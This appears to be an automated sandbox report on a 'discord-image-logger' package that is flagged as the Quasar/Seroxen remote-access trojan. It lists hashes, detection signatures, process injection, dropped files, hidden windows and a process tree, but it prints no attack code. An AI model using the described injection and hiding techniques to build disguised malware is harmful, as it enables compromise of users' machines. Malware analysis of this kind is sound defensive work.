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Overview
overview
10Static
static
10discord-im...ld.bat
windows7-x64
10discord-im...ld.bat
windows10-2004-x64
10discord-im...bug.py
windows7-x64
3discord-im...bug.py
windows10-2004-x64
3discord-im...ers.py
windows7-x64
3discord-im...ers.py
windows10-2004-x64
3discord-im...ken.py
windows7-x64
3discord-im...ken.py
windows10-2004-x64
3discord-im...ion.py
windows7-x64
3discord-im...ion.py
windows10-2004-x64
3discord-im...tup.py
windows7-x64
3discord-im...tup.py
windows10-2004-x64
3discord-im...nfo.py
windows7-x64
3discord-im...nfo.py
windows10-2004-x64
3discord-im...fig.py
windows7-x64
3discord-im...fig.py
windows10-2004-x64
3discord-im...ain.py
windows7-x64
3discord-im...ain.py
windows10-2004-x64
3Analysis
-
max time kernel
125s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
24/02/2025, 03:58
Behavioral task
behavioral1
Sample
discord-image-logger-release/build.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
discord-image-logger-release/build.bat
Resource
win10v2004-20250217-en
Behavioral task
behavioral3
Sample
discord-image-logger-release/src/components/antidebug.py
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
discord-image-logger-release/src/components/antidebug.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral5
Sample
discord-image-logger-release/src/components/browsers.py
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
discord-image-logger-release/src/components/browsers.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral7
Sample
discord-image-logger-release/src/components/discordtoken.py
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
discord-image-logger-release/src/components/discordtoken.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral9
Sample
discord-image-logger-release/src/components/injection.py
Resource
win7-20241010-en
Behavioral task
behavioral10
Sample
discord-image-logger-release/src/components/injection.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral11
Sample
discord-image-logger-release/src/components/startup.py
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
discord-image-logger-release/src/components/startup.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral13
Sample
discord-image-logger-release/src/components/systeminfo.py
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
discord-image-logger-release/src/components/systeminfo.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral15
Sample
discord-image-logger-release/src/config.py
Resource
win7-20241010-en
Behavioral task
behavioral16
Sample
discord-image-logger-release/src/config.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral17
Sample
discord-image-logger-release/src/main.py
Resource
win7-20240903-en
Behavioral task
behavioral18
Sample
discord-image-logger-release/src/main.py
Resource
win10v2004-20250217-en
General
-
Target
discord-image-logger-release/build.bat
-
Size
14.0MB
-
MD5
ef8beb81c6fa2aaad4a314be361292ce
-
SHA1
7b7296096931ac5d62081cc91ead8afd2346e0c7
-
SHA256
6377476be087b6911f24f93a601fd8f46461f52815ec27f95371c8418c385377
-
SHA512
8ffa18e66e4e8a3a23eb7c2375fa6b25aab90da3265f35d56ea9965f8d2c89a988052bbd0e05c0b3b3c124cb5e9f47b0b6ab5ea0df3b880d449fd3ff2a25767f
-
SSDEEP
49152:Lhha5TtF7ZXKxZvLjnrt64H1eGHrWT7xdJ11ar07nqcBIL/ULWorCWmZ9vXEdQm/:E
Malware Config
Extracted
quasar
-
reconnect_delay
3000
Signatures
-
Quasar family
-
Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/3468-58-0x000001497CA10000-0x000001497D186000-memory.dmp family_quasar -
Seroxen family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 2176 created 620 2176 build.bat.exe 5 PID 3468 created 620 3468 $sxr-powershell.exe 5 PID 3468 created 620 3468 $sxr-powershell.exe 5 PID 2176 created 620 2176 build.bat.exe 5 PID 2176 created 620 2176 build.bat.exe 5 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation build.bat.exe -
Deletes itself 1 IoCs
pid Process 2176 build.bat.exe -
Executes dropped EXE 3 IoCs
pid Process 2176 build.bat.exe 3468 $sxr-powershell.exe 3640 $sxr-powershell.exe -
Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 3468 $sxr-powershell.exe 3640 $sxr-powershell.exe -
Drops file in System32 directory 13 IoCs
description ioc Process File created C:\Windows\System32\ucrtbased.dll build.bat.exe File created C:\Windows\System32\vcruntime140_1d.dll build.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\System32\vcruntime140d.dll build.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll build.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll build.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll build.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 2176 set thread context of 3932 2176 build.bat.exe 92 PID 3468 set thread context of 2356 3468 $sxr-powershell.exe 99 PID 3468 set thread context of 1700 3468 $sxr-powershell.exe 101 PID 2176 set thread context of 2936 2176 build.bat.exe 102 PID 2176 set thread context of 1460 2176 build.bat.exe 103 -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File created C:\Windows\$sxr-powershell.exe build.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe build.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4584 cmd.exe 2456 PING.EXE -
Kills process with taskkill 1 IoCs
pid Process 4048 taskkill.exe -
Modifies data under HKEY_USERS 54 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 24 Feb 2025 04:01:44 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1740369703" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={1C02EF6E-D517-42E5-B941-AAC38BBE66CE}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 2456 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2176 build.bat.exe 2176 build.bat.exe 2176 build.bat.exe 3932 dllhost.exe 3932 dllhost.exe 3932 dllhost.exe 3932 dllhost.exe 2176 build.bat.exe 2176 build.bat.exe 3468 $sxr-powershell.exe 3468 $sxr-powershell.exe 3468 $sxr-powershell.exe 3468 $sxr-powershell.exe 2356 dllhost.exe 2356 dllhost.exe 2356 dllhost.exe 2356 dllhost.exe 3468 $sxr-powershell.exe 3468 $sxr-powershell.exe 3640 $sxr-powershell.exe 3640 $sxr-powershell.exe 3468 $sxr-powershell.exe 1700 dllhost.exe 1700 dllhost.exe 3640 $sxr-powershell.exe 3640 $sxr-powershell.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe 1700 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3480 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 61 IoCs
description pid Process Token: SeDebugPrivilege 2176 build.bat.exe Token: SeDebugPrivilege 2176 build.bat.exe Token: SeDebugPrivilege 3932 dllhost.exe Token: SeDebugPrivilege 3468 $sxr-powershell.exe Token: SeDebugPrivilege 3468 $sxr-powershell.exe Token: SeDebugPrivilege 2356 dllhost.exe Token: SeDebugPrivilege 3640 $sxr-powershell.exe Token: SeDebugPrivilege 3468 $sxr-powershell.exe Token: SeDebugPrivilege 1700 dllhost.exe Token: SeDebugPrivilege 2176 build.bat.exe Token: SeDebugPrivilege 2936 dllhost.exe Token: SeDebugPrivilege 2176 build.bat.exe Token: SeDebugPrivilege 1460 dllhost.exe Token: SeShutdownPrivilege 376 dwm.exe Token: SeCreatePagefilePrivilege 376 dwm.exe Token: SeDebugPrivilege 4048 taskkill.exe Token: SeAssignPrimaryTokenPrivilege 1644 svchost.exe Token: SeIncreaseQuotaPrivilege 1644 svchost.exe Token: SeSecurityPrivilege 1644 svchost.exe Token: SeTakeOwnershipPrivilege 1644 svchost.exe Token: SeLoadDriverPrivilege 1644 svchost.exe Token: SeSystemtimePrivilege 1644 svchost.exe Token: SeBackupPrivilege 1644 svchost.exe Token: SeRestorePrivilege 1644 svchost.exe Token: SeShutdownPrivilege 1644 svchost.exe Token: SeSystemEnvironmentPrivilege 1644 svchost.exe Token: SeUndockPrivilege 1644 svchost.exe Token: SeManageVolumePrivilege 1644 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1644 svchost.exe Token: SeIncreaseQuotaPrivilege 1644 svchost.exe Token: SeSecurityPrivilege 1644 svchost.exe Token: SeTakeOwnershipPrivilege 1644 svchost.exe Token: SeLoadDriverPrivilege 1644 svchost.exe Token: SeSystemtimePrivilege 1644 svchost.exe Token: SeBackupPrivilege 1644 svchost.exe Token: SeRestorePrivilege 1644 svchost.exe Token: SeShutdownPrivilege 1644 svchost.exe Token: SeSystemEnvironmentPrivilege 1644 svchost.exe Token: SeUndockPrivilege 1644 svchost.exe Token: SeManageVolumePrivilege 1644 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1644 svchost.exe Token: SeIncreaseQuotaPrivilege 1644 svchost.exe Token: SeSecurityPrivilege 1644 svchost.exe Token: SeTakeOwnershipPrivilege 1644 svchost.exe Token: SeLoadDriverPrivilege 1644 svchost.exe Token: SeSystemtimePrivilege 1644 svchost.exe Token: SeBackupPrivilege 1644 svchost.exe Token: SeRestorePrivilege 1644 svchost.exe Token: SeShutdownPrivilege 1644 svchost.exe Token: SeSystemEnvironmentPrivilege 1644 svchost.exe Token: SeUndockPrivilege 1644 svchost.exe Token: SeManageVolumePrivilege 1644 svchost.exe Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeAuditPrivilege 2832 svchost.exe Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 3480 Explorer.EXE Token: SeCreatePagefilePrivilege 3480 Explorer.EXE Token: SeShutdownPrivilege 376 dwm.exe Token: SeCreatePagefilePrivilege 376 dwm.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3468 $sxr-powershell.exe 4588 Conhost.exe -
Suspicious use of UnmapMainImage 3 IoCs
pid Process 4028 RuntimeBroker.exe 3480 Explorer.EXE 3648 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4568 wrote to memory of 2040 4568 cmd.exe 87 PID 4568 wrote to memory of 2040 4568 cmd.exe 87 PID 2040 wrote to memory of 2076 2040 net.exe 88 PID 2040 wrote to memory of 2076 2040 net.exe 88 PID 4568 wrote to memory of 2176 4568 cmd.exe 91 PID 4568 wrote to memory of 2176 4568 cmd.exe 91 PID 2176 wrote to memory of 3932 2176 build.bat.exe 92 PID 2176 wrote to memory of 3932 2176 build.bat.exe 92 PID 2176 wrote to memory of 3932 2176 build.bat.exe 92 PID 2176 wrote to memory of 3932 2176 build.bat.exe 92 PID 2176 wrote to memory of 3932 2176 build.bat.exe 92 PID 2176 wrote to memory of 3932 2176 build.bat.exe 92 PID 2176 wrote to memory of 3932 2176 build.bat.exe 92 PID 2176 wrote to memory of 3468 2176 build.bat.exe 93 PID 2176 wrote to memory of 3468 2176 build.bat.exe 93 PID 3468 wrote to memory of 2356 3468 $sxr-powershell.exe 99 PID 3468 wrote to memory of 2356 3468 $sxr-powershell.exe 99 PID 3468 wrote to memory of 2356 3468 $sxr-powershell.exe 99 PID 3468 wrote to memory of 2356 3468 $sxr-powershell.exe 99 PID 3468 wrote to memory of 2356 3468 $sxr-powershell.exe 99 PID 3468 wrote to memory of 2356 3468 $sxr-powershell.exe 99 PID 3468 wrote to memory of 2356 3468 $sxr-powershell.exe 99 PID 3468 wrote to memory of 3640 3468 $sxr-powershell.exe 100 PID 3468 wrote to memory of 3640 3468 $sxr-powershell.exe 100 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 3468 wrote to memory of 1700 3468 $sxr-powershell.exe 101 PID 1700 wrote to memory of 620 1700 dllhost.exe 5 PID 1700 wrote to memory of 672 1700 dllhost.exe 7 PID 1700 wrote to memory of 964 1700 dllhost.exe 12 PID 1700 wrote to memory of 376 1700 dllhost.exe 13 PID 1700 wrote to memory of 404 1700 dllhost.exe 14 PID 1700 wrote to memory of 1032 1700 dllhost.exe 15 PID 1700 wrote to memory of 1040 1700 dllhost.exe 16 PID 1700 wrote to memory of 1124 1700 dllhost.exe 17 PID 1700 wrote to memory of 1172 1700 dllhost.exe 19 PID 1700 wrote to memory of 1180 1700 dllhost.exe 20 PID 1700 wrote to memory of 1292 1700 dllhost.exe 21 PID 1700 wrote to memory of 1304 1700 dllhost.exe 22 PID 1700 wrote to memory of 1360 1700 dllhost.exe 23 PID 1700 wrote to memory of 1368 1700 dllhost.exe 24 PID 1700 wrote to memory of 1488 1700 dllhost.exe 25 PID 1700 wrote to memory of 1560 1700 dllhost.exe 26 PID 1700 wrote to memory of 1568 1700 dllhost.exe 27 PID 1700 wrote to memory of 1600 1700 dllhost.exe 28 PID 1700 wrote to memory of 1732 1700 dllhost.exe 29 PID 1700 wrote to memory of 1768 1700 dllhost.exe 30 PID 1700 wrote to memory of 1788 1700 dllhost.exe 31 PID 1700 wrote to memory of 1872 1700 dllhost.exe 32 PID 1700 wrote to memory of 2004 1700 dllhost.exe 33 PID 1700 wrote to memory of 2012 1700 dllhost.exe 34 PID 1700 wrote to memory of 1228 1700 dllhost.exe 35 PID 1700 wrote to memory of 1644 1700 dllhost.exe 36 PID 1700 wrote to memory of 2112 1700 dllhost.exe 37 PID 1700 wrote to memory of 2252 1700 dllhost.exe 38 PID 1700 wrote to memory of 2288 1700 dllhost.exe 39 PID 1700 wrote to memory of 2460 1700 dllhost.exe 41 PID 1700 wrote to memory of 2596 1700 dllhost.exe 42 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2664 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:376
-
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d7989f00-d923-44a3-b032-28fd257c95ca}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3932
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{5a7f65c1-f9c3-44a4-8391-a9a72e3e432f}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2356
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9bc9b654-e370-41d7-af81-0f170909ea7c}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7df56ac6-ef15-4dce-a0aa-cc98d4eccb5b}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2936
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9c52700a-0c19-4ada-a17b-5b057b9b4c5a}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1460
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:404
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1172
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1488
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1560
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1568
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1872
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2004
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2112
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2252
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2288
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2724
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2740
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2832
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2840
